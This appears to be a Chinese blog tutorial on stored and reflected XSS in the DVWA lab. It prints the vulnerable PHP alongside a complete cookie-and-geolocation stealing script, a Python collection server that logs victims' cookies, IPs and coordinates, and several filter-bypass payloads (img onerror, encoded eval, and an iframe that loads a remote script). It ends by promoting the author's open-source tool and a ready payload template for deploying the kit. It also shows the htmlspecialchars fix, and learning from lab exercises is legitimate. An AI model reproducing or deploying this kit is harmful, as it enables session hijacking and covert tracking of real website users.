暑期课程学一学XSS攻击,以及开源项目
XSS攻击
本文主要是使用vulstudy直接搭建的漏洞环境,是其中的DVWA。然后随手记一个反弹shell的工具反弹shell工具。
一些高级的过滤参考了参考文章XSS。
XSS存储型
原理
存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。
low等级的代码如下:
if( isset( $_POST[ 'btnSign' ] ) ) {
// 检查是否有POST请求且键 'btnSign' 存在
// 也就是说,表单是否被提交
// 获取输入
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// 去掉$message和$name两边的空格字符
// 消毒message输入
$message = stripslashes( $message );
// 移除$message中的反斜杠
$message = mysql_real_escape_string( $message );
// 使用mysql_real_escape_string()函数对$message进行转义,防止SQL注入攻击
// 消毒name输入
$name = mysql_real_escape_string( $name );
// 使用mysql_real_escape_string()函数对$name进行转义,防止SQL注入攻击
// 更新数据库
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
// 构建插入查询语句,将$message和$name插入到guestbook表中的comment和name字段
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// 执行查询,如果出错则输出错误信息
// mysql_close();
// 关闭MySQL连接(已被注释掉)
}
简单来说,就是会根据输入的结果上传到数据库中。如果成功了,这些js代码则会在html解析的时候执行。
比方提交name为aaa,Message为<script>alert('hello,XSS')</script>
就会被执行如下:
能用来做什么
我们可以在攻击者的服务器,写下一个attack.js文件,在里面写出攻击代码,比如获取cookie之类的代码。然后在有XSS漏洞的地方写入<script src="http://ip:port/attack.js"></script>
,这样访问的时候就可以触发漏洞了。我们接下来举个例子。
我们这里Name输入test(这里可以是随意的)以及Message输入
提交以后,我们可以看到后台获取了IP地址,COOKIE,经纬度的信息:
在前端也可以看到对应的信息更新了,获取到了ip地址等信息:
其他的,还可以实现如下功能:
实现方式
payload如下,提交之后加载就会导致相关的js代码执行:
<script src="http://127.0.0.1:8888/a.js"></script>
其中的127.0.0.1根据攻击方的服务器ip来决定。比如我的本机ip地址也可以是172.17.0.1,那么也可以用这个ip地址访问(同时为了payload更短我将a.js文件名改为了N):
我们发现也是完全可以的。
原理如下:
启动一个apache服务器,根目录下有这个a.js,我开放在888端口,所以可以通过http://127.0.0.1:8888/a.js访问。
// Function to send data to server
function sendData(cookie, ip, latitude, longitude) {
var img = new Image();
img.src = "http://127.0.0.1:8887/atk?cookie=" + encodeURIComponent(cookie) + "&ip=" + encodeURIComponent(ip) + "&latitude=" + encodeURIComponent(latitude) + "&longitude=" + encodeURIComponent(longitude);
}
// Get cookie
var cookie = document.cookie;
// Get geolocation
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(function(position) {
var latitude = position.coords.latitude;
var longitude = position.coords.longitude;
sendData(cookie, "", latitude, longitude);
});
} else {
console.log("Geolocation is not supported by this browser.");
sendData(cookie, "", "", "");
}
这里面的功能就是获取cookie:
var cookie = document.cookie;
经纬度:
var latitude = position.coords.latitude;var longitude = position.coords.longitude;
然后用
"http://127.0.0.1:8887/atk?cookie=" + encodeURIComponent(cookie) + "&ip=" + encodeURICompsonent(ip) + "&latitude=" + encodeURIComponent(latitude) + "&longitude=" + encodeURIComponent(longitude)
去访问下面的python服务器。意思就是把刚才的cookie和经纬度用GET请求传过去,然后到python服务器如下:
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import datetime
# 定义一个处理请求的类
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
log_file = "log.txt"
# 处理GET请求
def do_GET(self):
if self.path == '/':
self.send_index()
elif self.path.startswith('/log'):
self.send_log()
elif self.path.startswith('/atk'):
# 解析URL中的参数
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
# 获取参数
if 'cookie' in query_params:
cookie_value = query_params['cookie'][0]
ip_address = self.client_address[0] # 获取客户端IP地址
latitude = query_params.get('latitude', [''])[0]
longitude = query_params.get('longitude', [''])[0]
# 如果存在X-Forwarded-For头部,则使用该头部的值
x_forwarded_for = self.headers.get('X-Forwarded-For')
if x_forwarded_for:
ip_address = x_forwarded_for.split(',')[0].strip()
# 记录日志
log_entry = f"{datetime.datetime.now()}\n Cookie: {cookie_value},\n IP: {ip_address},\n Latitude: {latitude},\n Longitude: {longitude}\n\n"
print(log_entry)
self.write_to_log(log_entry)
# 返回一个简单的响应
self.send_response(200)
self.end_headers()
self.wfile.write(b'Cookie Received')
# 发送首页
def send_index(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
html = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome Page</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background-color: #f0f0f0;
}
.welcome-message {
font-size: 2em;
color: #333;
}
.log-link {
margin-top: 20px;
}
</style>
</head>
<body>
<div class="welcome-message">Welcome to N1nEmAn XSS</div>
<a class="log-link" href="/log">View Log</a>
<script>
// This script can be used for any future JavaScript functionalities
console.log("Page loaded successfully");
</script>
</body>
</html>
"""
self.wfile.write(html.encode('utf-8'))
# 发送日志页面
def send_log(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
# 读取日志文件内容
log_content = self.read_log()
html = f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Log Viewer</title>
<style>
body {{
font-family: Arial, sans-serif;
margin: 20px;
}}
.log-entry {{
margin-bottom: 10px;
padding: 10px;
border: 1px solid #ccc;
background-color: #f9f9f9;
}}
</style>
</head>
<body>
<h2>Log Viewer</h2>
<div class="log-entries">
{log_content}
</div>
<a href="/">Back to Home</a>
</body>
</html>
"""
self.wfile.write(html.encode('utf-8'))
# 读取日志文件
def read_log(self):
try:
with open(self.log_file, 'r') as log:
log_content = log.read().replace("\n","<br>")
return log_content
except FileNotFoundError:
return "Log file not found."
# 写入日志文件
def write_to_log(self, log_entry):
with open(self.log_file, 'a') as log:
log.write(log_entry)
# 主程序入口
def run(server_class=HTTPServer, handler_class=MyHTTPRequestHandler, port=8887):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f'Starting httpd on http://127.0.0.1:{port}...')
httpd.serve_forever()
# 如果是直接运行该脚本,则启动服务器
if __name__ == '__main__':
run()
这个python服务器打开在8887端口,主要就是获取刚才得到的cookie和经纬度并且获取用户的ip,然后计入日志,可以通过前端查看。前端如下:
查看日志如下:
XSS反射型
其思路基本和存储型一致,只不过存储型是一直存放在里面,而反射型只有一次。
漏洞源码如下,直接获取输入作为html渲染,则会调用js代码执行,造成XSS漏洞。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
这个的主要用途还是窃取COOKIE之类的,不过这里需要被攻击者点击有问题的网站,也就是钓鱼网站。一旦点击,则会导致COOKIE,经纬度等的信息泄漏。比如点击sec_web
就会导致弹窗:
如果点击我们刚才使用的漏洞也就是点击我是安全网站,则会导致如下信息泄漏,而且被攻击者几乎无法察觉。
如何修复?
反射型和存储型的修复都是一样的,我们就一起看反射型的了。
中级
我们刚才看的都是低级的。我们看看中级的是如何修复的:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到他把<script>
给改为了空字符串。能够防止<script>alert('XSS')</script>
的攻击了。
不过对于<script src="http://172.17.0.1:8888/N"></script>
仍然没法防止,因为这里面没有<script>
给他替换。
这里可以有多种绕过方式:
①大小写绕过:<ScRipt>alert(/xss/)</ScRipt>
②双写方式绕过str_replace()函数:
<scr<script>ipt>alert(/xss/)</script>
③使用非script标签的xss payload:
img标签:
<img src=1 onerror=alert('xss')>
iframe标签:
<iframe onload=alert(1)>
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
其他标签和利用还有很多很多....
高级
高级的漏洞代码如下:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里使用了正则表达式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
把所有的script有关的都过滤掉了,不让出现任何有关script,只要出现都被过滤。但是依然可以绕过,我们前面提到过,可以不用script。
比如
<img src=1 onerror=alert(/xss/)>
这里引用一下他人的博客。
虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src构造可利用的js代码。
1.使用img标签和其编码转换后的XSS payload:
<img src=1 onerror=alert(/xss/)>
img标签编码转换后的XSS payload例如:
<img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<imgsrc=1onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>
2.使用iframe标签:
<iframe onload=alert(/xss/)>
使用DATA URL进行XSS:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>,其他的XSS payload,还有很多很多...
那么如何实现刚才的获取ip之类的呢?
经过尝试,可以使用如下方式,也就是用iframe和onload进行加载。
<iframe onload="var x='http://172.17.0.1:8888/N';var el=document.createElement(String.fromCharCode(115,99,114,105,112,116));el.src=x;document.head.appendChild(el);">
结果如下:
不可能等级
源代码如下,直接把输入都用html转义了,基本不能XSS攻击。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这也是理想的修复方式了。
本质就是做到了
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
(大于) 成为 >
最后
简单来说,XSS可以执行任意的js代码,能够造成非常大的危害。曾经有个师傅叫rabbit,发现了推特的XSS漏洞,结果推特的安全部门认为这是个无关紧要的漏洞,rabbit多次反应都没有得到赏金和承认。最后他把这个漏洞公开,因为官方觉得这个不是什么漏洞,间接导致了黑客使用使得推特的所有广告投放失效,造成了巨大的经济损失。(说明这个例子是告诉大家XSS漏洞危害很大,请不要乱用哦 ; ))
XSS工具用法
已经开源到:https://github.com/N1nEmAn/N1nEXSS
将js下的文件夹保存到apache的目录下,然后修改其中js文件的ip地址为你的实际ip地址。
同时你的payload为:
<script src="http://{你的ip地址}:{你的apache端口,一般为80可以不填写}/N"></script>
然后直接访问你的python服务器即可获取XSS攻击结果。